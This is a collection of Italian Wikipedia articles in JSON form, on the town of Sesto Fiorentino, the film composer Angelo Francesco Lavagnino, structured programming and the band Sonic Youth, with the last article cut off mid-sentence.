{"id": "26301", "revid": "2171538", "url": "https://it.wikipedia.org/wiki?curid=26301", "title": "Sesto Fiorentino", "text": "Sesto Fiorentino (pronuncia: ) \u00e8 un comune italiano di abitanti della citt\u00e0 metropolitana di Firenze in Toscana.\nGeografia fisica.\nSesto Fiorentino si trova a 55\u00a0m s.l.m. nel Nord-Ovest della piana fiorentina.Il suo territorio \u00e8 molto vario e si estende dal massiccio Monte Morello fino alla piana dell'Osmannoro.\nSono presenti quattro torrenti: il Gavine che parte dal colle di Querceto e si versa nel canale di cinta occidentale, il Rimaggio che attraversa il centro cittadino e lungo le cui sponde \u00e8 stato recentemente creato un percorso pedonale, lo Zambra, che attraversa le zone di: Le Cave, Palastreto e Quinto, nelle vicinanze del cimitero e il Termine, cos\u00ec chiamato perch\u00e9 segna il confine tra Sesto Fiorentino e Firenze.\nStoria.\nIl pi\u00f9 antico insediamento umano nella piana fiorentina risale al Mesolitico (circa 9.000 anni or sono), ma solo nel Neolitico (da 6.100 a 5.000 anni fa circa) si hanno evidenze archeologiche di un diffuso popolamento, con villaggi ove si praticavano attivit\u00e0 agricole e pastorali. \u00c8 attestato altres\u00ec un impianto con le pi\u00f9 antiche fornaci per la cottura della ceramica.\nUn incremento demografico risale alla fine del III millennio a.C.; ad esso corrisponde un forte impatto tra uomo e ambiente, con opere di disboscamento per ricavare spazi utili. Il maggiore popolamento umano sembra essere collegato anche alla presenza, in zone limitrofe di rame nativo, utilizzato dalle comunit\u00e0 dell'et\u00e0 del Rame e della successiva et\u00e0 del Bronzo. Durante la media et\u00e0 del Bronzo (met\u00e0 del II millennio a.C.) le comunit\u00e0 iniziano ad impiantare insediamenti non solo nella piana, ma anche sui rilievi circostanti. Intorno al VII secolo a.C. inizi\u00f2 la presenza del popolo etrusco, che in zona si dedic\u00f2 molto alle bonifiche della piana circostante. A quel periodo risalgono la Tomba della Montagnola e la Tomba della Mula.\nIl primo nucleo abitativo avvenne in epoca romana lungo l'antica via consolare verso Pistoia e Lucca al \"Sextus ab urbe lapis\"; di quell'epoca sono ancora evidenti la centuriazione della campagna. Che il luogo fosse frequentato si capisce anche dai toponimi della zona: Terzolle, Quarto, Quinto, Sesto e Settimello.\nAl Basso Medioevo risalgono le prime chiese, fra le quali acquist\u00f2 subito importanza la Pieve di San Martino. Il territorio di Sesto fu feudo dei Vescovi fiorentini, ai quali il popolo sestese si rifiut\u00f2 di pagare le esose gabelle e fu pertanto scomunicato. Successivamente fu parte della Repubblica fiorentina nella quale era capoluogo di una delle leghe del contado. Maggiore sviluppo si ebbe nel Rinascimento per effetto delle bonifiche della piana.\nNel 1735 il marchese Carlo Ginori fond\u00f2 la Manifattura di Doccia, una delle prime fabbriche di porcellane dell'intera Europa, che port\u00f2 un notevole sviluppo economico. Nel Referendum del 1860, su 2708 votanti, ben 2622 si dichiararono favorevoli all'annessione al Regno d'Italia. Sesto fu al centro delle lotte operaie della fine dell'Ottocento e nel 1897 elesse alla camera il secondo deputato socialista della storia d'Italia, Giuseppe Pescetti.\nCon atto 4 agosto 1881, stipulato fra il Comune di Sesto Fiorentino e la Societ\u00e0 les Tramways Florentins fu concessa la costruzione di una linea tranviaria, esercita dapprima con trazione a cavalli, poi a vapore e successivamente elettrificata e incorporata nella rete tranviaria di Firenze come linea 18, la quale venne completamente smantellata entro il 1958, in buona parte nel 1952.\nIl 5 maggio 1898 (e i fatti sono narrati anche da Pratolini nel suo Metello) il popolo si rivolt\u00f2 contro la tassa sul macinato (la rivolta era partita dalle trecciaiole che lavoravano a cottimo la paglia per conto terzi) provocando l'intervento della polizia che spar\u00f2 sulla folla uccidendo numerosi manifestanti noti come i \"Martiri dei moti di 5 maggio 1898\". Nel 1899 fu uno dei primi comuni toscani (il primo fu Colle di Val d'Elsa nel 1897) ad avere un sindaco socialista, Pilade Biondi.\nLa bonifica della piana riprese in epoca fascista, con decreto ministeriale del 12 luglio 1930. Nel secondo dopoguerra il territorio di Sesto Fiorentino \u00e8 stato oggetto di una veloce espansione urbanistica e di un notevole sviluppo economico.\nMonumenti e luoghi d'interesse.\nArchitetture religiose.\nSu sollecitazione del comune di Sesto, nel dicembre 2017 l'arcivescovo Betori ha venduto alla comunit\u00e0 islamica di Firenze un terreno di 8.3 ettari per 240.000 euro, di cui circa 2.500 sono stati dichiarati edificabili. L'arcidiocesi ha acquisito dall'Universit\u00e0 di Firenze un'area di eguale estensione sita in localit\u00e0 Madonna del Piano.\nTuttavia, al dicembre 2019 l'Unione delle comunit\u00e0 islamiche italiane non aveva ancora deposito alcun progetto o richiesta di variante urbanistica per fino di culto.\nArchitetture civili.\nVille.\nNei colli di Sesto furono edificate nel tempo numerose ville, villini e parchi, da ricchi e aristocratici fiorentini.\nParchi cittadini.\nDi notevole interesse sono:\nSiti archeologici.\nNel territorio esistono alcuni siti archeologici etruschi:\nPonti storici.\nI principali ponti storici di Sesto Fiorentino sono:\nSociet\u00e0.\nEtnie e minoranze straniere.\nSecondo i dati ISTAT al 31 dicembre 2009 la popolazione straniera residente era di persone.\nLe nazionalit\u00e0 maggiormente rappresentate in base alla loro percentuale sul totale della popolazione residente erano:\nCultura.\nIstruzione.\nUniversit\u00e0.\nSesto Fiorentino ospita il Polo Scientifico e l'OpenLab dell'Universit\u00e0 di Firenze, in particolare all'interno del Polo sono presenti i Dipartimenti di Fisica, Fisica Sperimentale, Chimica, Ortoflorofrutticultura, Scienze Farmaceutiche, nonch\u00e9 una biblioteca scientifica e aule per le lezioni. All'interno del Polo scientifico ha sede anche l'area del Consiglio Nazionale delle Ricerche che ospita tra l'altro:\nOspita infine vari laboratori interdipartimentali (tra i quali il laboratorio di cristallografia strutturale, presso il Dipartimento di Chimica) e due enti di ricerca finanziati direttamente dall'Unione Europea di cui uno di area prevalentemente chimico-biologica, il CERM (\"Centro Europeo di Risonanze Magnetiche\", che fu fondato e diretto dal prof. Ivano Bertini, ordinario di Chimica Generale presso la Facolt\u00e0 di Scienze MMFFNN),diretto dal prof. Claudio Luchinat, e uno a carattere interdisciplinare chimico-fisico, il LENS\nTeatro.\nA Sesto Fiorentino, il Teatro della Limonaia offre interessanti rappresentazioni teatrali. All'interno si trova da venti anni la \"Scuola di Teatro Laboratorio Nove\" e dal 2008 la Scuola Internazionale di Teatro Intercity.\nInfrastrutture e trasporti.\nSesto Fiorentino, posta storicamente lungo l'asse viario che congiunge Firenze con Prato, \u00e8 servita dai caselli denominati \"Calenzano-Sesto Fiorentino\", e \"Sesto Fiorentino\", posti rispettivamente lungo le autostrade autostrada A1 e A11.\nLa stazione ferroviaria, comune alle linee Firenze-Prato-Pistoia e Bologna-Firenze, \u00e8 servita da treni regionali che coprono la relazione metropolitana Pistoia-Prato-Firenze-Pontassieve-Montevarchi con corse molto frequenti, distanziate anche di pochi minuti, dalle 5 del mattino alla mezzanotte, gestiti da Trenitalia nell'ambito del contratto di servizio stipulato con la Regione Toscana.\n\u00c8 raggiungibile in autobus da Firenze con le diverse linee di autobus.\nSport.\nLo sport e l'attivit\u00e0 motoria sono ormai diventati un momento irrinunciabile della vita quotidiana dei sestesi: oltre un cittadino su due infatti \"si muove\" regolarmente e sono presenti sul territorio oltre 40 impianti sportivi e circa 60 associazioni sportive.\nAeromodellismo.\nIl Gruppo Aeromodellisti Radio Comando, associazione sportiva dilettantistica aderente all'AICS, nasce il 3 dicembre 2001 e da allora svolge attivit\u00e0 culturale, sportiva, ricreativa, dilettantistica senza finalit\u00e0 di lucro nell'ambito dell'aeromodellismo in tutte le sue espressioni ed attivit\u00e0 affini al modellismo.\nAtletica leggera.\nLa societ\u00e0 sportiva Atletica Sestese nasce nel 1945, con la ripresa delle attivit\u00e0 sportive bloccate per anni dalla seconda Guerra Mondiale.\nGi\u00e0 nel 1946 l'Atletica Sestese si aggiudica il Torneo del Movimento Italiano Propaganda e nello stesso anno inizia anche l'attivit\u00e0 in campo nazionale, con la partecipazione ai Campionati Italiani di Bologna, di Padova e di Roma.\nGli anni seguenti sono particolarmente impegnativi e ricchi di soddisfazione, specialmente il 1952, quando la societ\u00e0 partecipa alle semifinali del Campionato Assoluto piazzandosi al terzo posto. Nello stesso anno l'atleta Artidoro Berti fa parte del trio dei maratoneti alle olimpiadi di Helsinki.\nPer anni l'Atletica Sestese si conferma la terza societ\u00e0 toscana; in questo periodo, dopo il titolo vinto da Poggiali nell'asta, Clemente Cappellini si aggiudica la maglia tricolore nei 3000, Marcello Ceccherini \u00e8 campione U. I.S.P. nel lungo e dopo qualche anno Roberto Zipoli stabilisce a Siena il primato italiano nei 250 metri nella categoria allievi.\nDai primi anni settanta l'atleticai leggera subisce una crisi che si protrae fino al decennio successivo; a partire dalla met\u00e0 degli anni ottanta l'attivit\u00e0 riprende in maniera continuativa e costante fino ad oggi sull'Impianto Danilo Innocenti, a Quinto Basso.\nCalcio.\nLa principale squadra di calcio della citt\u00e0 \u00e8 \"Sestese 1946 Calcio S.S.D.\" che milita nel girone A della Promozione Toscana. \u00c8 nato nel 1946.\nLe altre squadre di calcio della citt\u00e0 sono l'U.S.D. Rinascita Doccia che milita nel girone B toscano di 1\u00aa Categoria, l'A.S.D Sesto Calcio 2010 che milita nel girone D Provinciale di 2\u00aa Categoria e l'ACD Colonnata che milita nel girone A provinciale di 3\u00aa Categoria.\nCiclismo.\nLa Ciclistica Sestese fu fondata nel 1925 e da quella data fino allo scoppio della seconda guerra mondiale vari atleti vestirono i colori (rosso-blu) della societ\u00e0, regalandole numerosi ed importanti successi; possiamo nominare atleti passati al professionismo, quali Faliero Masi, Giulio Puliti, Nedo Logli e soprattutto Alfredo Martini, vincitore di numerose gare nei Professionisti e affermatissimo C.T. della Nazionale Italiana. Negli anni a seguire altri campioni si susseguirono, regalando alla Ciclistica Sestese numerosi titoli: nel 1952 Mario Tomeo vinse il Campionato Italiano Esordienti, Giuliano Sarti il Campionato Toscano e Provinciale nella categoria Esordienti e poi Allievi, Orfeo Sarti e Alberto Tazzi, vincenti in ogni categoria, Paolo Venturini, Campione Italiano Dilettanti 3\u00aa serie a Capo d'Orlando.\nDal 2002 la Ciclistica Sestese si pu\u00f2 fregiare della Stella di bronzo al merito sportivo, conferitale dal C.O.N.I.\nCuriosit\u00e0 - le avventure di Pinocchio.\nSi narra che il celebre libro di Carlo Collodi \"Le avventure di Pinocchio\" sia ambientato proprio a Sesto Fiorentino, in particolare a Colonnata. Il legame con Sesto Fiorentino \u00e8 certo: il fratello dell'autore, Paolo Lorenzini, fu direttore della Manifattura Ginori di Doccia per quasi quaranta anni e le frequentazioni sestesi di Carlo Collodi sono note. Parte del parco della villa Gerini venne realizzato alla fine dell'Ottocento ricordando il racconto di Pinocchio, come ad esempio l'isola con la Bocca del Pescecane e la Casa della Fata dai Capelli Turchini, una graziosa casetta, proprio al centro dell'isolotto del lago, una casetta che gli anziani di Sesto ricordano ancora come la casa della fata. Sotto la casetta una grotta con grossi denti ricorda le fauci del pescecane che inghiott\u00ec Geppetto e Pinocchio. Nipote del marchese Carlo Gerini era Ferdinando Martini, direttore del Giornale dei Bambini. Nel 1911 il padre di Maria Teresa Pacelli, Ernesto Pacelli, finanzi\u00f2 il primo film su Pinocchio tramite la casa di produzione Cines.\nQuando Carlo Lorenzini mor\u00ec, a centinaia da Sesto Fiorentino parteciparono alle esequie, sotto la pioggia battente."}
{"id": "26303", "revid": "1566286", "url": "https://it.wikipedia.org/wiki?curid=26303", "title": "Angelo Francesco Lavagnino", "text": "Biografia.\nCominci\u00f2 giovanissimo a suonare il violino e nel 1932 si diplom\u00f2 al Conservatorio di Milano. Nel 1939 compose l'opera \"Malafonte\". Si dedic\u00f2 dapprima alla composizione di musica da camera, sinfonica, sacra e teatrale, esibendosi al Teatro alla Scala e in numerose citt\u00e0 italiane. Nel 1951 la sua opera \"Malafonte\" fu rappresentata ad Anversa. Nel 1952, in occasione dell'inaugurazione delle porte di bronzo del duomo di Siena, compose la \"Messa Chigiana\" per soli, coro misto, orchestra ed organo. Compose inoltre musica sinfonica (\"Pocket symphony\", \"Le cronache\", \"Volo d'api\") e musica da camera (Trio, Quartetto d'archi, Sonata per violino e pianoforte, Sonata per due pianoforti).\nNel 1947 cominci\u00f2 a dedicarsi al cinema, grazie al sostegno del conte Guido Chigi Lucarini Saracini. Nel 1951 music\u00f2 l\"'Otello\" di Orson Welles, ma la sua specialit\u00e0 furono i cosiddetti \"film di viaggio\" o film di esplorazione. L'autore riprendeva in maniera originale materiale folclorico locale, registrato negli stessi luoghi delle riprese, ma utilizzando tutte le possibilit\u00e0 della tecnologia per ottenere un nuovo suono. Esempi di questo stile si ritrovano in \"Magia\" (1954), \"Continente perduto\" (1955), \"Tam tam Mayumbe\" (1955), \"L'impero del sole\" (1956), \"L'ultimo paradiso\" (1957), \"La muraglia cinese\" (1958), \"Calypso\" (1958). Ma il film, delle cui musiche \u00e8 coautore insieme a Georges Auric, che ottenne il maggiore successo internazionale \u00e8 \"Il gobbo di Notre Dame\" (\"Notre Dame de Paris\"), del 1956, protagonisti Anthony Quinn e la star italiana numero uno del momento: Gina Lollobrigida.\nUomo eclettico, scrisse anche un racconto sui pirati, collezion\u00f2 antichit\u00e0, libri e medaglie vaticane, am\u00f2 viaggiare, fu un abile fotografo e trascorse molto tempo con la sua famiglia. Scelse Gavi come luogo di adozione, cittadina in cui a lungo visse e dove mor\u00ec.\nDal 2001 esiste il Festival Internazionale \"A.F. Lavagnino\" Musica e Cinema."}
{"id": "26304", "revid": "31495603", "url": "https://it.wikipedia.org/wiki?curid=26304", "title": "Ricorsione", "text": ""}
{"id": "26306", "revid": "114515139", "url": "https://it.wikipedia.org/wiki?curid=26306", "title": "Programmazione strutturata", "text": "In informatica la programmazione strutturata \u00e8 un paradigma di programmazione emerso fra gli anni sessanta e gli anni settanta nel contesto della programmazione procedurale. I concetti introdotti dalla programmazione strutturata sono alla base di numerosi altri paradigmi procedurali successivi, non ultimo quello \"orientato agli oggetti\".\nOrigini concettuali.\nLe idee chiave della programmazione strutturata si possono ricondurre alla critica della struttura di controllo del \"salto incondizionato\" (o \"goto\", \"vai a\"), che rappresentava, negli anni sessanta, lo strumento fondamentale per la definizione di algoritmi complessi nel software. In un celebre articolo del 1968, \"Goto statement considered harmful\", Edsger Dijkstra discusse approfonditamente gli effetti deleteri del \"goto\" sulla qualit\u00e0 del software, e in particolare sulla sua leggibilit\u00e0 e modificabilit\u00e0 (il cosiddetto problema dello \"spaghetti code\").\nUn'altra celebre pubblicazione che risult\u00f2 fondamentale all'affermarsi della programmazione strutturata fu \"Flow Diagrams, Turing Machines, and Languages with Only Two Formation Rules\", in cui Corrado B\u00f6hm e Giuseppe Jacopini dimostrarono il loro celebre teorema. Secondo tale teorema, qualsiasi programma scritto usando il \"goto\" poteva essere riscritto senza, a patto di avere a disposizione altri tre tipi di strutture di controllo: \"sequenza\", \"selezione\" e \"ciclo\". Il risultato di B\u00f6hm-Jacopini pu\u00f2 anche essere espresso dicendo che, dato un qualunque diagramma di flusso, ne esiste almeno un altro che a parit\u00e0 di input produce sempre gli stessi output del primo e in cui i nodi del diagramma di flusso rispettano un certo insieme di vincoli.\nLa strutturazione del controllo.\nLe strutture di controllo ammesse dai linguaggi strutturati, e le regole sintattiche e semantiche del loro uso, possono variare nei dettagli specifici; tuttavia, devono essere rispettati un insieme di requisiti fondamentali:\nGli ultimi due vincoli fanno s\u00ec che, per quanto concerne il flusso del controllo, ciascuna struttura di controllo definisca un ambito completamente isolato dalle altre, e incapace di interferire o subire interferenze. Questo rappresenta un requisito indispensabile per l'applicazione di metodologie di progetto e sviluppo tradizionalmente legate alla programmazione strutturata, come la progettazione top-down e lo sviluppo per raffinamenti successivi.\nSequenza.\nIl seguente diagramma mostra la struttura generale della sequenza. In rosso viene mostrato l'unico punto d'ingresso, in verde l'unico punto d'uscita.\nSelezione.\nIl seguente diagramma mostra due esempi di alternative strutturate (a sinistra un \"if..then..else\", a destra un \"if..then\"). In rosso viene mostrato l'unico punto d'ingresso, in verde l'unico punto d'uscita.\nIterazione.\nIl seguente diagramma mostra due esempi di iterazioni strutturate (a sinistra un \"while..do..\", a destra un \"repeat..until..\"). In rosso viene mostrato l'unico punto d'ingresso, in verde l'unico punto d'uscita.\nComponibilit\u00e0.\nIl seguente diagramma mostra un esempio di composizione di due strutture di controllo: una struttura di selezione viene inserita in una iterativa. Si pu\u00f2 osservare che l'intera composizione mantiene un unico punto d'ingresso e un unico punto d'uscita.\nI linguaggi di programmazione strutturati.\nI linguaggi di programmazione strutturati iniziarono a emergere intorno all'inizio degli anni settanta. Incorporando le idee di B\u00f6hm e Jacopini, essi offrivano un insieme di strutture di controllo completo, ovvero almeno una forma di sequenza, una di alternativa e una di iterazione. In effetti, nella maggior parte dei casi, venivano fornite alcune varianti per ciascuna famiglia di strutture di controllo. Quasi tutti i progettisti di questi linguaggi, comunque, mantennero il \"goto\" come possibile strumento per la strutturazione del controllo (spesso sconsigliandone l'uso).\nNella maggior parte dei casi, questi linguaggi introducevano una porzione di blocco, su cui spesso erano basate caratteristiche correlate del linguaggio, come le \"scope rules\" per gli identificatori (per esempio le costanti-variabili).\nFra i linguaggi tipici del paradigma strutturato si possono citare:\nLa programmazione strutturata nella storia della programmazione.\nLa programmazione strutturata rappresenta una tappa fondamentale dell'evoluzione della cosiddetta programmazione \"mainstream\", ovvero di quella sequenza di paradigmi che, nel corso degli anni, l'uno succedendo all'altro, hanno dominato il mondo dell'industria del software. In particolare, sia il successivo paradigma della programmazione modulare che il paradigma della programmazione orientata agli oggetti hanno mantenuto gli stessi princ\u00ecpi della programmazione strutturata per quanto concerne la strutturazione del controllo \"ordinario\" e \"sequenziale\", introducendo nuovi meccanismi solo per affrontare le tematiche (nate successivamente) della gestione delle eccezioni e dello sviluppo di programmi concorrenti."}
{"id": "26307", "revid": "1948203", "url": "https://it.wikipedia.org/wiki?curid=26307", "title": "Sonic Youth", "text": "I Sonic Youth sono stati un gruppo alternative/noise rock statunitense, formatosi nel 1981 a New York. Hanno all'attivo oltre 20 album. I componenti del gruppo sono stati Kim Gordon, Thurston Moore, Lee Ranaldo e Steve Shelley.\nPartiti dall'esperienza no-wave e dall'avanguardia rock chitarristica dell'ensemble di Glenn Branca (del quale lo stesso Ranaldo ha fatto parte collaborando all'incisione di \"The Ascension\") i Sonic Youth si propongono di creare un proprio carattere espressivo attraverso la sperimentazione delle possibilit\u00e0 offerte da strumenti rock convenzionali come basso, chitarra e batteria. Tratti riconoscibili della loro espressione musicale sono l'utilizzo di accordature \"alternative\", chitarra preparata e di feedback, l'improvvisazione come valido ausilio creativo ed espressivo (vedi Velvet Underground) e l'eliminazione delle barriere distintive tra strumenti solisti e strumenti ritmici.\nIn trent'anni di carriera, i Sonic Youth sono diventati un'autentica istituzione della scena alternativa americana e mondiale. Il gruppo si \u00e8 sciolto nel 2011.\nBiografia.\nGli anni ottanta.\nThurston Moore e Lee Ranaldo avevano gi\u00e0 suonato (insieme e separatamente) in varie band punk rock di breve durata. Ranaldo era un membro dell'ensemble di Glenn Branca. Sia Moore sia Kim Gordon avevano comunque avuto a che fare con Glenn Branca. Kim Gordon aveva un buon passato da artista, e nei primi anni ottanta era in atto una considerevole mescolanza tra le arti visive e la musica. Dopo un'esibizione con Glenn Branca e Rhys Chatam, Kim Gordon incominci\u00f2 a suonare con diversi gruppi. Lei e Thurston Moore erano fidanzati gi\u00e0 prima della formazione dei Sonic Youth. Successivamente si sposeranno e avranno una figlia, Coco Hayley Gordon Moore.\nUno dei primi concerti dei Sonic Youth fu nel giugno del 1981, nel contesto di un festival di 10 giorni organizzato da Moore. Tenutosi alla galleria White Columns di SoHo, il Noise Fest incluse esibizioni anche di Branca e Chatam. La formazione dei Sonic Youth al tempo comprendeva Moore, la Gordon, il batterista Richard Edson e la tastierista Ann DeMarinis. Fu quella l'unica apparizione della DeMarinis, e Lee Ranaldo si un\u00ec alla band subito dopo. Thurston Moore coni\u00f2 il nome del gruppo subito prima di questo concerto, unendo il nome di Fred \"Sonic\" Smith, membro degli MC5 e fondatore della Sonic's Rendezvous Band, con quello del musicista reggae Big Youth (Kim Gordon, la bassista, ha citato come influenze indirette del suo stile sonoro proprio le sonorit\u00e0 reggae).\nIl loro primo album, \"eponimo\", suona in maniera molto austera. Le accordature alternative di chitarra erano state utilizzate per decenni nella musica blues, e limitatamente anche nel rock, ma i Sonic Youth incominciarono a utilizzare una variet\u00e0 di accordature pi\u00f9 radicale che non si avvicinava a nessun'altra nella storia della musica rock. Lo scrittore Michael Azerrad (autore di \"Our band could be your life\", uno studio sulle pi\u00f9 importanti underground rock band statunitensi) scrisse che i Sonic Youth, all'inizio della loro carriera \"si potevano permettere solo chitarre economiche, e le chitarre economiche \"suonano\" esattamente come chitarre economiche. Ma con accordature strane o qualcosa di bloccato su un particolare tasto, queste modeste chitarre possono produrre suoni sorprendenti: mettete una bacchetta per la batteria su un'economica Stratocaster giapponese, portate il volume dell'amplificatore al massimo, e la chitarra suoner\u00e0 come le campane di una chiesa\". Le accordature erano scrupolosamente sviluppate da Moore e Ranaldo durante le prove. Lo stesso Moore disse che accordature insolite permettevano di introdurre nuovi suoni: \"quando suoni sempre con accordature standard... le cose suonano piuttosto standard\". Piuttosto che accordare nuovamente le chitarre per ogni canzone, i Sonic Youth generalmente usano una particolare chitarra per uno o due canzoni, e poi la cambiano, e questo fa s\u00ec che in tourn\u00e9e abbiano sempre dozzine di strumenti appresso.\nDopo il loro primo album, Edson lascia il gruppo per intraprendere una modesta carriera di attore. Fu rimpiazzato da Bob Bert. I seguenti due album, \"Confusion Is Sex\" e \"Kill Yr Idols\", sono degli aggregati iper aggressivi di violento rumore. \"Confusion Is Sex\" divide il loro seguito: da una parte chi dice che c'\u00e8 stato un miglioramento rispetto al primo album, dall'altra chi lo giudica un album promettente, anche se piuttosto amatoriale. Senza curarsi delle critiche, il gruppo non realizzer\u00e0 pi\u00f9 album come \"Sonic Youth\" o \"Confusion Is Sex\".\nIl gruppo fa amicizia con gli Swans, band di New York, per i quali avevano fatto come band di supporto durante alcune date dei loro primi due tour. Questi e altri tour della prima ora stabiliscono una cosa sui Sonic Youth, e cio\u00e8 che anche quando la band suona male, il suo sound \u00e8 talmente unico da fare colpo sia sui fan sia sui critici.\nIn questa prima formazione del gruppo, la loro musica viene descritta dal giornalista Robert Christgau del settimanale Village Voice come \"Pigfuck\", descrizione coniata e utilizzata dallo stesso per indicare la musica di altri gruppi come i Big Black, i Butthole Surfers e i Pussy Galore (anche se questi gruppi sono molto differenti tra loro, hanno in comune il rumore e l'abrasivit\u00e0 dei loro suoni). Una susseguente lite si svilupp\u00f2 tra Moore e Christgau, e Moore rinomin\u00f2 \"Kill Yr Idols\" in \"I Killed Christgau With My Big Fucking Dick\", prima che i due risolvessero la questione amichevolmente.\nOltre alle influenze di Branca, Patti Smith e degli Stooges, un altro genere che influenz\u00f2 i primi Sonic Youth fu l'hardcore punk dei primi anni ottanta. Dopo aver assistito a un'esibizione dei Minor Threat nel maggio del 1982, Moore li defin\u00ec \"la pi\u00f9 grande live band che abbia mai visto\". Pur riconoscendo che le loro aspirazioni musicali erano ben diverse dall'hardcore, specialmente Moore e la Gordon rimasero impressionati dalla velocit\u00e0 e dall'intensit\u00e0 di questo genere di musica, e dal numeroso stuolo di gruppi e fan che lo seguiva. \"Era fantastico\", disse Moore, \"la slam dance e lo stage diving erano molto pi\u00f9 eccitanti che il pogoing e lo spitting... Io penso che l'hardcore fosse molto musicale oltre che radicale\"\nBob Bert fu allontanato dal gruppo successivamente ad un tour europeo, e fu rimpiazzato da Jim Sclavunos, che lasci\u00f2 la band dopo pochi mesi. La band allora richiam\u00f2 Bert, che accett\u00f2, a patto di non essere nuovamente fatto fuori.\nI Sonic Youth incorporarono gradualmente nei loro lavori alcuni elementi convenzionali della musica pop, bench\u00e9 mantenessero sempre una qualit\u00e0 sperimentale. \"Bad Moon Rising\" del 1985 fu una sorta di concept album. La maggior parte del materiale che troviamo su questo album racconta storie di violenza e follia, e di conseguenza il suo suono risulta claustrofobico. Non ci sono quasi mai pause tra i brani, che hanno come caratteristica i muri di feedback e i ritmi pesanti. Comunque, brani come \"I love her all the time\" e \"Brave men run\", vantano armonie e struttura pi\u00f9 mainstream. L'album vede la presenza di Lydia Lunch nel pezzo \"Death Valley '69\", ispirato dagli omicidi commessi dalla \"famiglia\" di Charles Manson.\nInsoddisfatto dalla mancanza di successo, soprattutto dal punto di vista economico, Bob Bert lascia il gruppo e viene sostituito da Steve Shelley. L'arrivo di Shelley segna una brusca virata nel suono della band: lui fu l'anello di congiunzione con l'interesse di Moore e della Gordon per l'hardcore, e fu il batterista tecnicamente pi\u00f9 competente che il gruppo avesse avuto fino a quel momento.\nNel 1986 pubblicano \"EVOL\", il loro primo album su SST Records. Fu anche il primo album che ospit\u00f2 una canzone scritta e cantata da Lee Ranaldo. In questo disco, si possono ascoltare i primi accenni di canzoni che possono essere considerate pop, (\"Star power\" ed \"Expressway to yr skull\"), dal suono grezzo dei feedback psichedelici e delle distorsioni.\nCon \"Sister\" del 1987, i Sonic Youth continuano a raffinare la loro miscela di canzoni dalla struttura pop con sperimentalismi senza compromessi. Anche questo album pu\u00f2 essere considerato un concept, dato che \u00e8 parzialmente ispirato dalla vita e dai lavori dello scrittore sci-fi Philip K. Dick (la \"Sister\" del titolo era la sorella gemella di Dick, che mor\u00ec subito dopo la nascita). L'album ricevette delle recensioni molto positive, e rimane uno dei pi\u00f9 amati dai fan. La band suon\u00f2 regolarmente dal vivo pezzi come \"Schizophrenia\" e \"Kotton Krown\", anche molto tempo dopo l'uscita dell'album.\nMa fu il doppio album \"Daydream Nation\" del 1988 che and\u00f2 oltre ogni aspettativa, e fece guadagnare alla band ottime critiche all'unanimit\u00e0, e un nuovo contratto con la Geffen Records. Su questo album i Sonic Youth hanno perfezionato il loro stile, divenendo virtuosi scultori del guitar noise. L'album divent\u00f2 immediatamente un classico indie. Include alcuni dei pezzi migliori della lunga lista di canzoni da loro scritte, come \"Teenage Riot\", \"Candle\" e \"The Sprawl\", ispirata dai lavori dello scrittore William Gibson. Molti periodici musicali, tra i quali \"Rolling Stone\" e \"Spin Magazine\", decretarono \"Daydream Nation\" come uno dei migliori album del decennio. Rolling Stone inserir\u00e0 in seguito il disco nella sua lista dei 500 migliori album di sempre. La copertina dell'album riproduce un'opera di Gerhard Richter.\nGli anni novanta.\nI Sonic Youth hanno avuto grande influenza sulla musica rock underground. Hanno sicuramente avuto un ruolo di primo piano nella proliferazione del grunge: del loro tour del 1991 con gli allora poco conosciuti Nirvana fu girato un film intitolato \"\".\nIl 1990 vede la realizzazione dell'album \"Goo\" (il primo con la Geffen Records) il cui singolo \"Kool Thing\" ospita il rapper Chuck D dei Public Enemy. L'album, anche se non allo stesso livello dei precedenti tre, si dimostra solido e pi\u00f9 accessibile dal punto di vista musicale dei precedenti lavori. La copertina dell'album \u00e8 di Raymond Pettibon.\nNel 1992 viene pubblicato \"Dirty\" sempre per la Geffen Records. Per il video di \"100%\" assoldarono il regista di videoclip dedicati allo skateboard Spike Jonze. La canzone \"JC\" \u00e8 dedicata al roadie dei Black Flag e di Henry Rollins Joe Cole, ucciso durante una rapina nella casa dello stesso Rollins il 19 dicembre del 1991. La copertina dell'album \u00e8 stata realizzata dall'artista di Los Angeles Mike Kelley.\nDue anni dopo, la band pubblica \"Experimental Jet Set, Trash &amp; No Star\", probabilmente il loro album pi\u00f9 avventuroso. Composto da molte melodie contiene anche un quasi hit, \"Bull in the heather\", che guadagn\u00f2 maggiore popolarit\u00e0 dopo l'esecuzione al Tibetan Freedom Concert nel 1996.\nNel frattempo, i membri della band sviluppano ognuno i propri progetti paralleli e collaborazioni. Kim Gordon collabora al progetto della chitarrista dei Pussy Galore Julie Cafritz chiamato Free Kitten, e lancia una linea di abbigliamento chiamata X-Girl con sede a Los Angeles. Lee Ranaldo e Thurston Moore suonano con molti musicisti dei generi experimental/noise, come William Hooker, Nels Cline, Tom Surgal, Alan Licht, Don Dietrich, Christian Marclay, Mission of Burma e molti altri. Steve Shelley crea un'etichetta discografica, la Smells Like Records, scritturando band come Cat Power (nome che identifica la cantante e compositrice Chan Marshall) e Two Dollar Guitar.\nSin dagli inizi Kim Gordon aveva occasionalmente suonato la chitarra nel gruppo. Dai tempi di \"Washing Machine\" e \"A Thousand Leaves\" la Gordon incomincia a suonare la chitarra molto pi\u00f9 frequentemente, facendo s\u00ec che la band diventi un combo con tre chitarre e una batteria. Queste canzoni introducono una nuova svolta nel suono del gruppo, e creano i principi per l'introduzione di un quinto elemento nella band, cosa che avverr\u00e0 qualche anno pi\u00f9 tardi.\nTra la fine degli anni novanta e i primi anni duemila, la band realizza una serie di registrazioni altamente sperimentali sulla propria etichetta discografica, la SYR, con sede a Hoboken (New Jersey). La musica \u00e8 per la maggior parte strumentale, e gli album e i titoli delle canzoni, nonch\u00e9 i crediti e le note interne sono scritti via via in lingue differenti: ' in francese, ' in tedesco, \"\" in esperanto e \"SYR5\" in giapponese. SYR3 fu il primo a ospitare Jim O'Rourke, che diventer\u00e0 un membro ufficiale della band.\n\" \u00e8 differente dagli altri. Troviamo al suo interno lavori di compositori classici del genere di avanguardia, come John Cage, Y\u014dko Ono, Steve Reich, e Christian Wolff, suonati dai Sonic Youth con molti collaboratori sempre della scena di avanguardia moderna, come Christian Marclay, William Winant, Wharton Tiers, Takehisa Kosugi e altri ancora. L'album ricevette recensioni miste, ma molti critici lodarono gli sforzi del gruppo volti a rendere popolari i lavori dei compositori.\n\" \u00e8 la registrazione del concerto di beneficenza tenuto presso l'Anthology Film Archives il 12 aprile 2003 per celebrare la morte del grande filmmaker sperimentale Stan Brakhage scomparso il mese precedente. Il lavoro consiste in un'improvvisazione di 61 minuti realizzata in 